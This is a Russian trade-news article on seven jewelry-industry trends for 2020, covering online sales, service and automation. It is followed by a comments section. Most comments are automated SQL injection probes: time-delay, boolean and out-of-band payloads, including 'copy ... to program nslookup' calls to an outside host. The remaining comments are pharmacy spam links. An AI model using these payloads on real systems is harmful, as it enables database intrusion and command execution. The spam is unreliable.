Маркетинг

7 главных трендов ювелирной отрасли 2020 года

1 февраля 2020, 16:54 Артур Салякаев

Эксперты Международной ювелирной академии IJA определили семь главных трендов ювелирной отрасли на 2020 год.

Тренд №1. Увеличение онлайн-продаж ювелирных украшений

Около 60% людей, согласно опросам, не готовы покупать украшения в онлайне из-за важности примерки и контроля качества. И тем не менее объем онлайн-продаж растет. Недавние поправки к закону о дистанционной торговле этому способствуют. Рост будет усиливаться, но в ближайшие годы, скорее всего, доля онлайн-продаж не превысит 25–30% в общей структуре ювелирных покупок.

Что можно сделать? Как не отстать?

1. Усиливаем SMM-направление.

2. Создаем онлайн-витрины или интернет-магазин.

3. Продаем собственную Товарную Марку на онлайн-площадках.

И помните: куда важнее считать показатели рентабельности, а не количество магазинов.

Тренд №2. Новые бизнес-модели продажи ювелирных украшений

Форматов продажи ювелирных украшений становится все больше. Присмотритесь, возможно, новый формат усилит и вас. Что набирает обороты?

Все ярче проявляется b2b-вектор, например, поставки корпоративных подарков. Уже появился интерес к ювелирным автоматам (ассортимент магазина помещается в одном блоке с экраном, где хранятся все украшения; понравившееся изделие «выходит» из автомата, а консультант весь процесс контролирует). Еще один формат – шоурумы, особенности которых в сокращении товарных запасов на квадратный метр, представленности определенных коллекций и выстраивании индивидуальной работы с покупателем, то есть усиленной ориентации на индивидуальные заказы. Отдельно можно выделить шоурумы в формате острова и функциональные острова.

Не исключено и то, что вскоре сетевой маркетинг охватит и ювелирный рынок, по крайней мере в бижутерии и серебре это более вероятно.

Многие ритейлеры открывают свои оптовые направления, создают свои Торговые Марки и продают их друзьям, партнерам в отрасли.

И все заметнее продажи украшений в магазинах одежды, обуви, парфюма.

Тренд №3. Усиленная интеграция с производителями ювелирных украшений

Если раньше производители только предоставляли изделия, то сейчас они стараются всячески поддержать своих клиентов. Вот минимальный набор такой поддержки: shp&shop, оборудование, рекламные материалы, обучение продавцов, упаковка, розыгрыши, клиентские мероприятия, эксклюзивные коллекции. Такая поддержка выходит в тренд и, естественно, помогает продавать больше и эффективнее. Не пренебрегайте.

Тренд №4. Повышение уровня сервиса в салонах

Возникает из-за повышенного ожидания клиентов. И это ожидание будет расти, значит, сервис должен соответствовать и даже быть выше.

Как усилиться?

1. Внедряем систему обучения онлайн.

2. Обеспечиваем качественный контроль.

3. Следим за трендами дизайна и коллекциями.

Важно понимать, что сервис – это не только чай/кофе. Сервис – это комфорт. А комфорт не ограничивается напитками и освещением. Нам комфортно, когда все понятно, когда доступно и этично объясняют, когда мы можем примерить и выбрать, когда с нами общаются без суеты и грамотно.

Тренд №5. Осмысленное потребление ювелирных украшений

Это осмысленность выбора, осмысленность ношения. Количество покупаемых украшений растет, развивается культура ношения украшений, формируется контекст. Соответствуйте.

Тренд №6. Тотальная автоматизация бизнес-процессов

Ювелирная отрасль от других сфер рынка отстает в этой теме на 3–5 лет, но в ближайшие годы автоматизация будет наступать, и останутся на рынке именно те, кто будет следовать этому тренду.

На что обращаем внимание в первую очередь:

1. Автоматизация CRM, внедрение Whats App.

2. Закупка товара на основании аналитики.

3. Финансовое планирование и анализ.

Тренд №7. Маркетинг прямого отклика

Это использование инструментов, благодаря которым будет понятна эффективность рекламы.

Для этого делаем:

1. Интеграцию в рекламу «меток» для отклика.

2. Усиление кросс-маркетинга и ко-маркетинга.

3. Снижение стоимости лида в Digital.

Где есть тренды, там вырисовываются и антитренды. Выделяем 6:

  •     Отсутствие позиционирования. «Все для всех» уже точно перестало работать. Важно понимать: с кем конкурируем? за какую аудиторию? что есть у нас, чего нет у конкурентов?
  •     «Региональная» реклама и дизайн. Уровень эстетики вырос у клиентов очень сильно, поэтому соответствовать крайне важно.
  •     Плохое освещение и маникюрные зеркала. Позвольте клиентам увидеть украшения по-настоящему. Это то, на чем точно не стоит экономить.
  •     Самостоятельное обучение продавцов по книжкам. Стажеры нынешнего поколения воспринимают информацию не так, как старшая категория: скорость выше, эмоций и персонажей больше – поэтому эффективное обучение должно быть современным.
  •     Закупка украшений без аналитики продаж. Истории о том, что можно поехать на выставку и вернуться с двумя чемоданами или попить чай с партнерами и закупиться на основании приятного общения, уходят в прошлое.
  •     Закупка украшений исключительно по «цене за грамм». Цена никогда не становится меньше просто так. Анализируйте и помните: цена не может быть единственным критерием выбора.

Ещё больше о трендах в продажах и продвижении ювелирного бизнеса вы можете узнать на XIV Международной Ювелирной Конференции IJA CONF, которая пройдёт 3 февраля в Санкт-Петербурге. IJA CONF - это возможность без суеты наладить контакт с коллегами из отрасли, найти новых и увидеть старых друзей, получить актуальные инструменты для увеличения прибыли, зарядиться энергией и просто быть в курсе событий ювелирного мира. 

Оставить заявку на участие или получить подробную программу можно на официальном сайте конференции

все новости


Комментарии

18 июля 2020
Cheap Accutane Online No Prescription poerce [url=https://bbuycialisss.com/#]Buy Cialis[/url] Vetapope Le Kamagra Est Il Autorise En France Jabymubs Cialis lavyBype how long does cialis work for
uthxjbtw
13 июня 2020
25'
uthxjbtw
13 июня 2020
1';copy (select '') to program 'nslookup dns.sqli.\013405.5755-29362.5755.cbcb4.\1.bxss.me
uthxjbtw
13 июня 2020
1;copy (select '') to program 'nslookup dns.sqli.\013405.5755-29360.5755.cbcb4.\1.bxss.me'
uthxjbtw
13 июня 2020
'||UTL_INADDR.get_host_address('dns.'||'sqli.013405.5755-29358.5755.cbcb4.1.bxss'||'.me')||'
uthxjbtw
13 июня 2020
1||UTL_INADDR.get_host_address('dns.'||'sqli.013405.5755-29357.5755.cbcb4.1.bxss'||'.me')
uthxjbtw
13 июня 2020
KvgENWmS'));select pg_sleep(19.282); --
uthxjbtw
13 июня 2020
IEVGCFMW');select pg_sleep(19.282); --
uthxjbtw
13 июня 2020
PLxnsFy5';select pg_sleep(19.282); --
uthxjbtw
13 июня 2020
-1));select pg_sleep(9.641); --
uthxjbtw
13 июня 2020
-1);select pg_sleep(9.641); --
uthxjbtw
13 июня 2020
-1;select pg_sleep(9.641); --
uthxjbtw
13 июня 2020
4QUuaC8O'; waitfor delay '0:0:28.923000000000002' --
uthxjbtw
13 июня 2020
1 waitfor delay '0:0:28.923000000000002' --
uthxjbtw
13 июня 2020
-1); waitfor delay '0:0:28.923000000000002' --
uthxjbtw
13 июня 2020
-1; waitfor delay '0:0:19.282' --
uthxjbtw
13 июня 2020
(select(0)from(select(sleep(19.282)))v)/*'+(select(0)from(select(sleep(19.282)))v)+'"+(select(0)from(select(sleep(19.282)))v)+"*/
uthxjbtw
13 июня 2020
if(now()=sysdate(),sleep(28.923000000000002),0)/*'XOR(if(now()=sysdate(),sleep(28.923000000000002),0))OR'"XOR(if(now()=sysdate(),sleep(28.923000000000002),0))OR"*/
uthxjbtw
13 июня 2020
if(now()=sysdate(),sleep(9.641),0)/*'XOR(if(now()=sysdate(),sleep(9.641),0))OR'"XOR(if(now()=sysdate(),sleep(9.641),0))OR"*/
uthxjbtw
13 июня 2020
-1" OR 3*2>(0+5+27-27) --
uthxjbtw
13 июня 2020
-1" OR 3*2<(0+5+27-27) --
uthxjbtw
13 июня 2020
-1" OR 3+27-27-1=0+0+0+1 --
uthxjbtw
13 июня 2020
-1" OR 2+27-27-1=0+0+0+1 --
uthxjbtw
13 июня 2020
-1' OR 3*2>(0+5+809-809) or 'tW83SCZS'='
uthxjbtw
13 июня 2020
-1' OR 3*2<(0+5+809-809) or 'tW83SCZS'='
uthxjbtw
13 июня 2020
-1' OR 3+809-809-1=0+0+0+1 or 'tW83SCZS'='
uthxjbtw
13 июня 2020
-1' OR 2+809-809-1=0+0+0+1 or 'tW83SCZS'='
uthxjbtw
13 июня 2020
-1' OR 3*2>(0+5+175-175) --
uthxjbtw
13 июня 2020
-1' OR 3*2<(0+5+175-175) --
uthxjbtw
13 июня 2020
-1' OR 3+175-175-1=0+0+0+1 --
uthxjbtw
13 июня 2020
-1' OR 2+175-175-1=0+0+0+1 --
uthxjbtw
13 июня 2020
-1 OR 3*2>(0+5+358-358)
uthxjbtw
13 июня 2020
-1 OR 3*2>(0+5+358-358)
uthxjbtw
13 июня 2020
-1 OR 3*2<(0+5+358-358)
uthxjbtw
13 июня 2020
-1 OR 3+358-358-1=0+0+0+1
uthxjbtw
13 июня 2020
-1 OR 2+358-358-1=0+0+0+1
uthxjbtw
13 июня 2020
-1 OR 3*2>(0+5+938-938) --
uthxjbtw
13 июня 2020
-1 OR 3*2<(0+5+938-938) --
uthxjbtw
13 июня 2020
-1 OR 3+938-938-1=0+0+0+1 --
uthxjbtw
13 июня 2020
-1 OR 2+938-938-1=0+0+0+1 --
uthxjbtw
13 июня 2020
1
uthxjbtw
13 июня 2020
1
uthxjbtw
13 июня 2020
uthxjbtw
13 июня 2020
uthxjbtw
13 июня 2020
JyI=
uthxjbtw
13 июня 2020
@@rLPk5
uthxjbtw
13 июня 2020
1
uthxjbtw
13 июня 2020
\
uthxjbtw
13 июня 2020
1'"
uthxjbtw
13 июня 2020
1
uthxjbtw
13 июня 2020
1
uthxjbtw
13 июня 2020
450'
uthxjbtw
13 июня 2020
1';copy (select '') to program 'nslookup dns.sqli.\013405.5755-16925.5755.f89ab.\1.bxss.me
uthxjbtw
13 июня 2020
1;copy (select '') to program 'nslookup dns.sqli.\013405.5755-16916.5755.f89ab.\1.bxss.me'
uthxjbtw
13 июня 2020
'||UTL_INADDR.get_host_address('dns.'||'sqli.013405.5755-16907.5755.f89ab.1.bxss'||'.me')||'
uthxjbtw
13 июня 2020
1||UTL_INADDR.get_host_address('dns.'||'sqli.013405.5755-16901.5755.f89ab.1.bxss'||'.me')
uthxjbtw
13 июня 2020
l3M5zbe7'));select pg_sleep(6); --
uthxjbtw
13 июня 2020
zVjphvKF');select pg_sleep(9); --
uthxjbtw
13 июня 2020
melExS0S');select pg_sleep(6); --
uthxjbtw
13 июня 2020
1qEoUlRj';select pg_sleep(6); --
uthxjbtw
13 июня 2020
IWqLQG98';select pg_sleep(3); --
uthxjbtw
13 июня 2020
-1));select pg_sleep(6); --
uthxjbtw
13 июня 2020
-1);select pg_sleep(6); --
uthxjbtw
13 июня 2020
-1);select pg_sleep(3); --
uthxjbtw
13 июня 2020
-1;select pg_sleep(0); --
uthxjbtw
13 июня 2020
-1;select pg_sleep(6); --
uthxjbtw
13 июня 2020
-1;select pg_sleep(3); --
uthxjbtw
13 июня 2020
H5qRiuXh'; waitfor delay '0:0:9' --
uthxjbtw
13 июня 2020
1 waitfor delay '0:0:9' --
uthxjbtw
13 июня 2020
-1); waitfor delay '0:0:6' --
uthxjbtw
13 июня 2020
-1; waitfor delay '0:0:0' --
uthxjbtw
13 июня 2020
-1; waitfor delay '0:0:3' --
uthxjbtw
13 июня 2020
(select(0)from(select(sleep(9)))v)/*'+(select(0)from(select(sleep(9)))v)+'"+(select(0)from(select(sleep(9)))v)+"*/
uthxjbtw
13 июня 2020
if(now()=sysdate(),sleep(9),0)/*'XOR(if(now()=sysdate(),sleep(9),0))OR'"XOR(if(now()=sysdate(),sleep(9),0))OR"*/
uthxjbtw
13 июня 2020
-1" OR 3*2>(0+5+900-900) --
uthxjbtw
13 июня 2020
-1" OR 3*2<(0+5+900-900) --
uthxjbtw
13 июня 2020
-1" OR 3+900-900-1=0+0+0+1 --
uthxjbtw
13 июня 2020
-1" OR 2+900-900-1=0+0+0+1 --
uthxjbtw
13 июня 2020
-1' OR 3*2>(0+5+271-271) or 'IIsEq0qk'='
uthxjbtw
13 июня 2020
-1' OR 3*2<(0+5+271-271) or 'IIsEq0qk'='
uthxjbtw
13 июня 2020
-1' OR 3+271-271-1=0+0+0+1 or 'IIsEq0qk'='
uthxjbtw
13 июня 2020
-1' OR 2+271-271-1=0+0+0+1 or 'IIsEq0qk'='
uthxjbtw
13 июня 2020
-1' OR 3*2>(0+5+291-291) --
uthxjbtw
13 июня 2020
-1' OR 3*2<(0+5+291-291) --
uthxjbtw
13 июня 2020
-1' OR 3+291-291-1=0+0+0+1 --
uthxjbtw
13 июня 2020
-1' OR 2+291-291-1=0+0+0+1 --
uthxjbtw
13 июня 2020
-1 OR 3*2>(0+5+340-340)
uthxjbtw
13 июня 2020
-1 OR 3*2<(0+5+340-340)
uthxjbtw
13 июня 2020
-1 OR 3+340-340-1=0+0+0+1
uthxjbtw
13 июня 2020
-1 OR 2+340-340-1=0+0+0+1
uthxjbtw
13 июня 2020
-1 OR 3*2>(0+5+132-132) --
uthxjbtw
13 июня 2020
-1 OR 3*2<(0+5+132-132) --
uthxjbtw
13 июня 2020
-1 OR 3+132-132-1=0+0+0+1 --
uthxjbtw
13 июня 2020
-1 OR 2+132-132-1=0+0+0+1 --
uthxjbtw
13 июня 2020
1
uthxjbtw
13 июня 2020
1
uthxjbtw
13 июня 2020
uthxjbtw
13 июня 2020
uthxjbtw
13 июня 2020
JyI=
uthxjbtw
13 июня 2020
@@Kd7mf
uthxjbtw
13 июня 2020
1
uthxjbtw
13 июня 2020
\
uthxjbtw
13 июня 2020
1'"
uthxjbtw
13 июня 2020
1
uthxjbtw
13 июня 2020
1
13 июня 2020
1
13 июня 2020
1
12 июня 2020
Viagra Naturelle [url=https://buyciallisonline.com/]buy cialis 5mg daily use[/url] eroxim kamagra Buy Cialis Generic Clobetasol Eczema No Prior Script

Ваш комментарий

Бренды


Законы


Инструмент и оборудование


Камни


Маркетинг


Мастер классы


Мастера


Образование


Полезное


Поставщики услуг


События


Техники


Ювелирный стиль